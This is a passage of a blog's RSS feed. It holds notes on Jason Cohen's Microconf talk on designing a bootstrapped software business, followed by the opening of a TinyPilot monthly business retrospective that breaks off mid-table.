&lt;li>When asked what is the hardest thing, he said &amp;ldquo;to know thyself.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Understand what brings you fulfillment.
&lt;ul>
&lt;li>Understand that it changes over time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Talk to people who have been through this path before.&lt;/li>
&lt;/ul>
&lt;h2 id="summary">&lt;a href="https://youtu.be/otbnC2zE2rw?t=52m17s">Summary&lt;/a>&lt;/h2>
&lt;p>Formula for success in a self-funded business:&lt;/p></description><content:encoded>&lt;p>Jason Cohen&amp;rsquo;s 2013 Microconf talk, &lt;a href="https://www.youtube.com/watch?v=otbnC2zE2rw">&lt;em>Designing the Ideal Bootstrapped Business with Jason Cohen&lt;/em>&lt;/a>, is one of the most valuable resources I&amp;rsquo;ve found for bootstrapped founders. I watched it for the first time &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#you-can-build-a-successful-business-without-being-available-247">in 2020&lt;/a>, and I&amp;rsquo;ve revisited it repeatedly since then.&lt;/p>
&lt;p>If you&amp;rsquo;re new to the world of bootstrapped software business, or you&amp;rsquo;re struggling to gain traction with your business, I highly recommend this talk.&lt;/p>
&lt;p>Below, I&amp;rsquo;ve included my notes.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/otbnC2zE2rw?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="Designing the Ideal Bootstrapped Business">&lt;/iframe>
 &lt;/div>

&lt;h2 id="most-businesses-don">&lt;a href="https://youtu.be/otbnC2zE2rw">Most businesses don&amp;rsquo;t work&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>Most businesses fail.
&lt;ul>
&lt;li>Most fail because they build a product that customers don&amp;rsquo;t actually want.&lt;/li>
&lt;li>Some fail because they&amp;rsquo;re building a product customers want but with a business structure that&amp;rsquo;s incompatible with bootstrapping.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="jason">&lt;a href="https://youtu.be/otbnC2zE2rw?t=46">Jason&amp;rsquo;s background&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>Jason is founder of &lt;a href="https://wpengine.com">WPEngine&lt;/a>, one of the most popular WordPress hosting vendors.&lt;/li>
&lt;li>Jason founded four companies.
&lt;ul>
&lt;li>All made over $1M/yr.&lt;/li>
&lt;li>All of them were profitable.&lt;/li>
&lt;li>Jason sold two of them.&lt;/li>
&lt;li>All were bootstrapped, although WPEngine later raised venture capital.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="a">&lt;a href="https://youtu.be/otbnC2zE2rw?t=120">A &amp;ldquo;cash machine&amp;rdquo;&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>The ideal self-funded business is a &amp;ldquo;cash machine.&amp;rdquo;
&lt;ul>
&lt;li>The business has a predictable way to make profit every month.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>20% of people in the conference audience would make $10k the following month if they invested zero work into their business.&lt;/li>
&lt;li>Goal of self-funded business: earn at least $10k/month in revenue per founder.
&lt;ul>
&lt;li>&lt;em>[&lt;strong>Ed&lt;/strong>: He says &amp;ldquo;revenue&amp;rdquo; but I suspect he means &amp;ldquo;profit&amp;rdquo;]&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="revenue-model">&lt;a href="https://youtu.be/otbnC2zE2rw?t=202">Revenue model&lt;/a>&lt;/h2>
&lt;h3 id="one-offs-never-get-easier">&lt;a href="https://youtu.be/otbnC2zE2rw?t=202">One-offs never get easier&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>One-off sales never get easier.
&lt;ul>
&lt;li>Every month, you start over with $0 in revenue.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>One-off sales are the opposite of a cash machine.&lt;/li>
&lt;li>Even when Jason Cohen&amp;rsquo;s previous company (Smart Bear, one-off sales) reached millions in revenue per month, he still worried he&amp;rsquo;d fail to meet payroll every month.
&lt;ul>
&lt;li>The stress never went away.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="recurring-revenue-the-only-way">&lt;a href="https://youtu.be/otbnC2zE2rw?t=4m21s">Recurring revenue: the only way&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>The myth of &amp;ldquo;1,000 true fans&amp;rdquo;
&lt;ul>
&lt;li>Kevin Kelly &lt;a href="https://kk.org/thetechnium/1000-true-fans/">introduced the idea&lt;/a> of 1,000 true fans&lt;/li>
&lt;li>Musicians could gain indepedence from music labels if they could convince 1,000 passionate fans to buy $100-200 in merch and concerts or other purchases that go directly to the artist.&lt;/li>
&lt;li>Seth Godin &lt;a href="https://seths.blog/2008/03/1000-true-fans/">popularized the idea&lt;/a> by sharing the blog post with a larger audience.&lt;/li>
&lt;li>Kevin Kelly got feedback from musicians that his idea wasn&amp;rsquo;t practical and walked back the idea.
&lt;ul>
&lt;li>It&amp;rsquo;s difficult to get that many fans to give you recurring revenue.&lt;/li>
&lt;li>For musicians, $100-200k/yr is not enough to cover the costs of touring.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Godin never acknowledged the retraction, so the myth persists.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Better target: 150 customers
&lt;ul>
&lt;li>You should have 20-30 customers waiting to pay you monthly before you even start building.
&lt;ul>
&lt;li>If you can&amp;rsquo;t find 20-30 in the first few months, it&amp;rsquo;s going to be hard to reach a sustainable customer base ever.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>First 50: Scratching and clawing your first customers&lt;/li>
&lt;li>Next 25: Guest postings, social media&lt;/li>
&lt;li>Next 75: Basic marketing&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="wpengine">&lt;a href="https://youtu.be/otbnC2zE2rw?t=7m10s">WPEngine&amp;rsquo;s first customers&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Jason found 40 WordPress consultants on LinkedIn.&lt;/li>
&lt;li>He said he had a new product designed to serve them.&lt;/li>
&lt;li>&lt;strong>Key&lt;/strong>: He offered to pay them to talk to him.
&lt;ul>
&lt;li>The pay was &amp;ldquo;whatever [they] thought was fair,&amp;rdquo; even if it&amp;rsquo;s higher than their normal hourly rate because it&amp;rsquo;s a one-off job.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>100% agreed to speak with him on the phone.
&lt;ul>
&lt;li>38 actually scheduled calls.&lt;/li>
&lt;li>0 asked for any money.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Takeaway&lt;/strong>: Showing that you value their time yields positive results.&lt;/li>
&lt;/ul>
&lt;h3 id="pricing">&lt;a href="https://youtu.be/otbnC2zE2rw?t=9m30s">Pricing&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>If the revenue goal is $10k/mo and the customer base is 150 customers, you need to charge each customer $66/mo, on average.
&lt;ul>
&lt;li>$10k / 150 customers = $66/customer/mo.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Most founders charge a lower rate because their service is crappy starting out.
&lt;ul>
&lt;li>Everything is barebones, support is slow because it&amp;rsquo;s just the founder.&lt;/li>
&lt;li>Founder decides to charge $19/mo because they assume their product isn&amp;rsquo;t worth a higher rate.&lt;/li>
&lt;li>Lower price means you have to find more customers, difficult to do.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Strategies
&lt;ul>
&lt;li>Price tiers
&lt;ul>
&lt;li>WPEngine had three tiers segmented by customer type: $49 / $99 / $249&lt;/li>
&lt;li>Average revenue per customer was over $100/mo.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>High prices, but lots of coupon opportunities
&lt;ul>
&lt;li>Example: Standard rate is $99/mo, but give bloggers a 30% off coupon for their readers.
&lt;ul>
&lt;li>Ends up being the $66/mo target.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="boutique-business">&lt;a href="https://youtu.be/otbnC2zE2rw?t=12m06s">Boutique business&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>What do you think when you hear the word &amp;ldquo;boutique?&amp;rdquo;
&lt;ul>
&lt;li>Small&lt;/li>
&lt;li>Not open very much because it has a small staff, usually just owners&lt;/li>
&lt;li>Expensive&lt;/li>
&lt;li>Customers receive lots of personal attention&lt;/li>
&lt;li>Work is special and unique&lt;/li>
&lt;li>Customers feel good supporting the business&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Present yourself to customers as &amp;ldquo;boutique.&amp;rdquo;
&lt;ul>
&lt;li>Customers will tolerate higher prices if they think of it as supporting an independent boutique vendor.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="cash-flow">&lt;a href="https://youtu.be/otbnC2zE2rw?t=13m20s">Cash flow&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Cash is king.&lt;/li>
&lt;li>The &amp;ldquo;annual pre-pay trick&amp;rdquo;
&lt;ul>
&lt;li>&amp;ldquo;You have to do it.&amp;rdquo; -Jason Cohen&lt;/li>
&lt;li>Example marketing scenario
&lt;ul>
&lt;li>Spending $300 on Google Ads gets you $50/mo in recurring revenue.&lt;/li>
&lt;li>Therefore, spending $60k gets you $10k/mo in recurring revenue.
&lt;ul>
&lt;li>&lt;em>[&lt;strong>Ed&lt;/strong>: I disagree with this point, as Google Ads don&amp;rsquo;t scale linearly like this. Scaling your spending from $300 to $60k means you have to bid higher for each click to capture a greater share of the results. I think a more realistic scenario is that if you scale your Google Ad spend by 20x, you&amp;rsquo;d see 10-15x the conversions.]&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You could reach your target monthly revenue right now if you had $60k in cash to spend.&lt;/li>
&lt;li>Tell customers they get two months free with an annual plan.&lt;/li>
&lt;li>You&amp;rsquo;d get $100k in cash immediately as opposed to $120k over the course of a year.&lt;/li>
&lt;li>After the $60k on Google Ads, you&amp;rsquo;d have $40k left over to spend immediately on marketing, design improvements, etc. rather than waiting to collect the recurring revenue over a year.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>WPEngine&amp;rsquo;s numbers
&lt;ul>
&lt;li>1/4 of signups pre-pay for a year.
&lt;ul>
&lt;li>75% pay 1x month&lt;/li>
&lt;li>25% pay 10x month&lt;/li>
&lt;li>0.75 x 1 + 0.25 x 10 = 3.25&lt;/li>
&lt;li>Translation: WPEngine gets 3.25x the cash flow as they would without annual pre-pay option.&lt;/li>
&lt;li>WPEngine&amp;rsquo;s cost of customer acquisition is lower than their monthly cash flow, so they effectively have an infinite marketing budget&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You can combine annual pre-pay with coupons to make them more enticing.
&lt;ul>
&lt;li>Example: Coupon gives you three months free on annual plan.
&lt;ul>
&lt;li>They would have gotten two without the coupon, but three sounds more exciting.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You can adjust pricing to make pre-payment more appealing.
&lt;ul>
&lt;li>Increase monthly price, and make annual discount steeper.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="free-trials">&lt;a href="https://youtu.be/otbnC2zE2rw?t=21m07s">Free trials&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Most people who sign up with a credit card will stay.&lt;/li>
&lt;li>If they do the trial and never convert, you lose money.&lt;/li>
&lt;li>Instead, offer a 60-day money back guarantee.
&lt;ul>
&lt;li>Charge customers up front, but let them cancel easily.&lt;/li>
&lt;li>When WPEngine made this change, signups increased.
&lt;ul>
&lt;li>Customers liked the change. They said it gave them more time to evaluate the product.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="no-picking-up-pennies">&lt;a href="https://youtu.be/otbnC2zE2rw?t=23m16s">No picking up pennies&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Example: Kickstarter
&lt;ul>
&lt;li>Lots of money flowing through.&lt;/li>
&lt;li>Kickstarter &amp;ldquo;picks up pennies&amp;rdquo; by taking a small percentage.&lt;/li>
&lt;li>Kickstarter raised $100M in funds, only $6M of the revenue went to Kickstarter.&lt;/li>
&lt;li>They finished the year at a loss and had to raise more money.&lt;/li>
&lt;li>Kickstarter is one of the most successful examples of this, and they have trouble turning a profit.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cohen recommends against this model for bootstrapped businesses.
&lt;ul>
&lt;li>&amp;ldquo;Go get customers, and charge them lots of money.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="market-model">&lt;a href="https://youtu.be/otbnC2zE2rw?t=24m05s">Market model&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>What markets are conducive to a cash machine company?&lt;/li>
&lt;/ul>
&lt;h3 id="only-build-b2b-companies">&lt;a href="https://youtu.be/otbnC2zE2rw?t=24m29s">Only build B2B companies&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Never sell to consumers.
&lt;ul>
&lt;li>Cohen quoted an app store review that complained that a $1.99 app should have been priced at $0.99.
&lt;ul>
&lt;li>Consumers are too price-sensitive and demanding.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Every Microconf speaker that year had a B2B business.
&lt;ul>
&lt;li>Exception: patio11 with BingoCardCreator, but he recommends against B2C as well.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="bad-market-point-in-time--temporary-pain">&lt;a href="https://youtu.be/otbnC2zE2rw?t=26m44s">Bad Market: Point-in-time / temporary pain&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Examples
&lt;ul>
&lt;li>Weddings&lt;/li>
&lt;li>Events&lt;/li>
&lt;li>Code profilers&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You have to catch customers at the exact right time.&lt;/li>
&lt;li>For things like weddings, you&amp;rsquo;re competing with tons of companies trying to market to brides/grooms in the months leading up to a wedding.&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-naturally-recurring-market">&lt;a href="https://youtu.be/otbnC2zE2rw?t=28m25s">Good Market: Naturally recurring market&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Ongoing actual costs
&lt;ul>
&lt;li>Example: Server hosting
&lt;ul>
&lt;li>People know that servers are an ongoing cost, so they expect to pay for hosting on a recurring basis.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Financial cycles
&lt;ul>
&lt;li>Example: taxes, invoicing, compliance
&lt;ul>
&lt;li>People have to do these things regularly.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Pain naturally changes over time
&lt;ul>
&lt;li>Example: digital marketing, SEO
&lt;ul>
&lt;li>The underlying market changes, so the tools have to adapt.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Offering support
&lt;ul>
&lt;li>Example: $100/mo for a premium support queue.
&lt;ul>
&lt;li>&amp;ldquo;Free money&amp;rdquo; because you want to resolve all tickets anyway, but this just changes the order that you process tickets.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="bad-market-viralityness">&lt;a href="https://youtu.be/otbnC2zE2rw?t=31m54s">Bad Market: Viralityness&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Viral products almost never work.&lt;/li>
&lt;li>If your viral coefficient is 1% per month (pretty good), and you have 100 users, that means you only get 0 or 1 new users per month.&lt;/li>
&lt;li>Viral products only work when you have a large customer base.
&lt;ul>
&lt;li>It&amp;rsquo;s expensive to build to that critical mass.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-not-real-time">&lt;a href="https://youtu.be/otbnC2zE2rw?t=32m43s">Good Market: Not real-time&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>A non-real time business is one where it&amp;rsquo;s not a disaster if your product is down for a few hours.&lt;/li>
&lt;li>WPEngine (hosting) is a bad example, as any outage is a disaster.
&lt;ul>
&lt;li>&amp;ldquo;That was a mistake.&amp;rdquo;&lt;/li>
&lt;li>WPEngine&amp;rsquo;s support staff has to wake up in the middle of the night to fix severe issues.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Examples
&lt;ul>
&lt;li>Analytics, decision support&lt;/li>
&lt;li>Finance - Finance employees typically have a buffer around their timelines&lt;/li>
&lt;li>Project management - If Trello is down for an hour, you&amp;rsquo;re probably not going to cancel your subscription&lt;/li>
&lt;li>Content - Can be down for a few hours, but it&amp;rsquo;s also easy to make always available on a static site&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="bad-market-marketplaces">&lt;a href="https://youtu.be/otbnC2zE2rw?t=34m30s">Bad Market: Marketplaces&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Platform that matches buyers with sellers&lt;/li>
&lt;li>Examples
&lt;ul>
&lt;li>Etsy, Kickstarter, eBay&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Difficult to get off the ground
&lt;ul>
&lt;li>You have to attract sellers and offer the functionality they need.&lt;/li>
&lt;li>You have to attract buyers simultaneously.&lt;/li>
&lt;li>It&amp;rsquo;s costly to attract and support both.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You&amp;rsquo;re effectively starting two high-risk companies.
&lt;ul>
&lt;li>Both have to succeed in order for the marketplace to be sustainable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-something-that-can-be">&lt;a href="https://youtu.be/otbnC2zE2rw?t=36m07s">Good Market: Something that can be &amp;ldquo;finished&amp;rdquo;&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Examples
&lt;ul>
&lt;li>WinZIP, Freshbooks, Basecamp, hosting, time-tracking, bug-tracking, CRM, wiki, task management, email, PDF editor, image editor, web analytics&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You don&amp;rsquo;t want to get stuck in a feature war with a competitor.
&lt;ul>
&lt;li>As a bootstrapper, you&amp;rsquo;ll have fewer resources to build features, so you&amp;rsquo;re at a disadvantage.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-aftermarkets">&lt;a href="https://youtu.be/otbnC2zE2rw?t=37m12s">Good Market: Aftermarkets&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Find an established product with a significant following, and build add-ons or integrations.&lt;/li>
&lt;li>Examples
&lt;ul>
&lt;li>Smart Bear: Added code review to Perforce and Subversion&lt;/li>
&lt;li>Balsamiq: Started as add-ons to Basecamp&lt;/li>
&lt;li>WooThemes: Themes for WooCommerce&lt;/li>
&lt;li>AlienSkin: Paid plugins for Photoshop&lt;/li>
&lt;li>QODBC: Makes ODBC interface for QuickBooks, allows customers to make database queries against it&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Ecosystems
&lt;ul>
&lt;li>Some ecosystems are friendlier than others to aftermarkets
&lt;ul>
&lt;li>Apple App Store
&lt;ul>
&lt;li>Apple is semi-hostile to third-party apps.&lt;/li>
&lt;li>Apple sometimes introduces &lt;a href="https://www.howtogeek.com/297651/what-does-it-mean-when-a-company-sherlocks-an-app/">first-party apps&lt;/a> to compete with third-party vendors on their platform.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Salesforce, Heroku
&lt;ul>
&lt;li>They&amp;rsquo;re committed not to compete with aftermarket vendors.&lt;/li>
&lt;li>They limit the features they implement themselves in order to foster an ecosystem of third-party tools.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Vendors are often interested in supporting aftermarket vendors.
&lt;ul>
&lt;li>Aftermarket vendors make the first party vendor&amp;rsquo;s product more valuable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-big-market">&lt;a href="https://youtu.be/otbnC2zE2rw?t=40m10s">Good Market: Big market&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>In a large market, you have many niches to inhabit.
&lt;ul>
&lt;li>There&amp;rsquo;s always a risk that your niche is too small, but in a large market, it&amp;rsquo;s easier to find adjacent niches.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Big market gives instant validation that the pain point exists and people are paying to solve it.&lt;/li>
&lt;li>Big market gives you the option to grow from a lifestyle business to a billion dollar business if you want.&lt;/li>
&lt;/ul>
&lt;h2 id="acquisition-model">&lt;a href="https://youtu.be/otbnC2zE2rw?t=42m40s">Acquisition model&lt;/a>&lt;/h2>
&lt;h3 id="ads--social-media">Ads &amp;gt; social media&lt;/h3>
&lt;ul>
&lt;li>Jason doesn&amp;rsquo;t like social media as a way of acquiring customers.&lt;/li>
&lt;li>People underestimate the cost of social media marketing and overestimate its effectiveness.&lt;/li>
&lt;li>Social media typically doesn&amp;rsquo;t yield customers who want to pay a recurring price.&lt;/li>
&lt;li>Jason Cohen&amp;rsquo;s blog had 40,000 subscribers.
&lt;ul>
&lt;li>Only two signed up when he launched WPEngine.&lt;/li>
&lt;li>Hiten Shah observed a similar effect.
&lt;ul>
&lt;li>Having a large following didn&amp;rsquo;t translate to customers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="how-much-to-pay-per-click">&lt;a href="https://youtu.be/otbnC2zE2rw?t=44m47s">How much to pay per click?&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Rule of thumb: Cost per click = Average monthly revenue per customer / 25
&lt;ul>
&lt;li>Example: $50/month in revenue, pay $2 per click ($50 / 25 = $2)&lt;/li>
&lt;li>The exact cost varies depending on your business.&lt;/li>
&lt;li>The full derivation is &lt;a href="https://blog.asmartbear.com/bootstrapped-cpc.html">on Jason&amp;rsquo;s blog&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="the-squeeze">&lt;a href="https://youtu.be/otbnC2zE2rw?t=45m40s">The squeeze&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>What happens if you successfully build a cash machine?
&lt;ul>
&lt;li>Your business will keep growing.&lt;/li>
&lt;li>To sustain more customers, you need to hire more people.&lt;/li>
&lt;li>Your job shifts from marketing and development to coding.&lt;/li>
&lt;li>Do you still want to run a company like that?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Paths forward
&lt;ul>
&lt;li>Sell before it&amp;rsquo;s too big
&lt;ul>
&lt;li>You can arrange a sale with an earnout if the new owner doesn&amp;rsquo;t have cash up front.
&lt;ul>
&lt;li>e.g., $20-30k/month for three years&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Sell to partners&lt;/li>
&lt;li>Sell to your biggest customer&lt;/li>
&lt;li>Raise prices&lt;/li>
&lt;li>Raise venture funding to grow even more
&lt;ul>
&lt;li>If you&amp;rsquo;re willing to do venture capital, you should start with it rather than a slower start with bootstrapping&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="how-to-decide-what-to-do-next">&lt;a href="https://youtu.be/otbnC2zE2rw?t=50m49s">How to decide what to do next&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Thales_of_Miletus">Thales&lt;/a> was Greek businessman-turned-philosopher.
&lt;ul>
&lt;li>When asked what is the hardest thing, he said &amp;ldquo;to know thyself.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Understand what brings you fulfillment.
&lt;ul>
&lt;li>Understand that it changes over time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Talk to people who have been through this path before.&lt;/li>
&lt;/ul>
&lt;h2 id="summary">&lt;a href="https://youtu.be/otbnC2zE2rw?t=52m17s">Summary&lt;/a>&lt;/h2>
&lt;p>Formula for success in a self-funded business:&lt;/p>
&lt;ul>
&lt;li>Predictable acquisition&lt;/li>
&lt;li>Recurring revenue&lt;/li>
&lt;li>Annual pre-pay&lt;/li>
&lt;li>Good market&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 32</title><link>https://mtlynch.io/retrospectives/2023/03/</link><pubDate>Thu, 09 Mar 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/03/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I left the country for two weeks, and TinyPilot ran smoothly without me.&lt;/li>
&lt;li>A pipe burst in the TinyPilot office, leading to a near-disaster.&lt;/li>
&lt;li>I&amp;rsquo;m searching for the right balance between reactive and proactive work.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I left the country for two weeks, and TinyPilot ran smoothly without me.&lt;/li>
&lt;li>A pipe burst in the TinyPilot office, leading to a near-disaster.&lt;/li>
&lt;li>I&amp;rsquo;m searching for the right balance between reactive and proactive work.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="get-back-to-our-normal-level-of-ready-to-ship-tinypilot-devices">Get back to our normal level of ready-to-ship TinyPilot devices.&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We still don&amp;rsquo;t have as much inventory as I&amp;rsquo;d like.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>We&amp;rsquo;re still behind on inventory, as there were a number of surprises that affected the fulfillment team. I&amp;rsquo;ve increased prices and slashed ad spending until we get back on our feet.&lt;/p>
&lt;h3 id="start-the-process-of-transitioning-to-a-new-3pl-vendor">Start the process of transitioning to a new 3PL vendor.&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;ve signed with a new 3PL vendor and are preparing our first shipment to them.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m hopeful about this new 3PL. Once we hand over fulfillment to an external vendor, it should relieve pressure on the team and give us breathing room to invest in other areas that allow us to scale up faster.&lt;/p>
&lt;h3 id="begin-cross-team-collaboration-between-the-developers-and-support-engineers">Begin cross-team collaboration between the developers and support engineers.&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: TinyPilot had its first dev-support engineering crossover meeting.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>There&amp;rsquo;s work that the developers and support engineers can collaborate on, but I was deferring it until the two teams could meet face-to-face. We had our first dev and support engineering crossover meeting, and now we&amp;rsquo;re ready for the two teams to begin working together directly.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2023&lt;/th>
 &lt;th>February 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>8,092&lt;/td>
 &lt;td>12,141&lt;/td>
 &lt;td>&lt;font color="green">+4,049 (+50%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>16,665&lt;/td>
 &lt;td>23,117&lt;/td>
 &lt;td>&lt;font color="green">+6,452 (+39%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$66,420.52&lt;/td>
 &lt;td>$72,585.15&lt;/td>
 &lt;td>&lt;font color="green">+$6,164.63 (+9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
